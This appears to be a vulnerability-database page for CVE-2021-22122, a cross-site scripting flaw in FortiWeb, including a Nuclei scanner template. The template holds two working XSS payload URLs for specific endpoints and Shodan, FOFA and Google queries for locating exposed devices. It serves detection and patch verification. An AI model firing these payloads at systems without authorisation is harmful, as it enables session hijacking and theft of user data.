HexBrain

Browse / CVEs / CVE-2021-22122

CVE-2021-22122· fortinet / fortiweb· CWE-79

FortiWeb - Cross Site Scripting

mediumseverity
6.1CVSS score
10.5%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.

Impact

Successful exploitation of this vulnerability can result in the compromise of sensitive user information, session hijacking.

Fix

Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.

How to confirm it

Send: GET {{BaseURL}}/error3?msg=30&data=';alert('document.domain');// ; GET {{BaseURL}}/omni_success?cmdb_edit_path=");alert('document.domain');//
Positive when: contains "alert('document.domain')" and "No policy has been chosen."

Run it with nuclei: nuclei -id CVE-2021-22122 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-22122

info:
  name: FortiWeb - Cross Site Scripting
  author: dwisiswant0
  severity: medium
  description: |
    FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.
  impact: |
    Successful exploitation of this vulnerability can result in the compromise of sensitive user information, session hijacking.
  remediation: |
    Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-20-122
    - https://twitter.com/ptswarm/status/1357316793753362433
    - https://fortiguard.com/advisory/FG-IR-20-122
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22122
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-22122
    cwe-id: CWE-79
    epss-score: 0.1052
    epss-percentile: 0.95805
    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortiweb
    shodan-query: http.title:"fortiweb - "
    fofa-query: title="fortiweb - "
    google-query: intitle:"fortiweb - "
  tags: cve2021,cve,fortiweb,xss,fortinet,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//"
      - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('document.domain');//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert('document.domain')"
          - "No policy has been chosen."
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from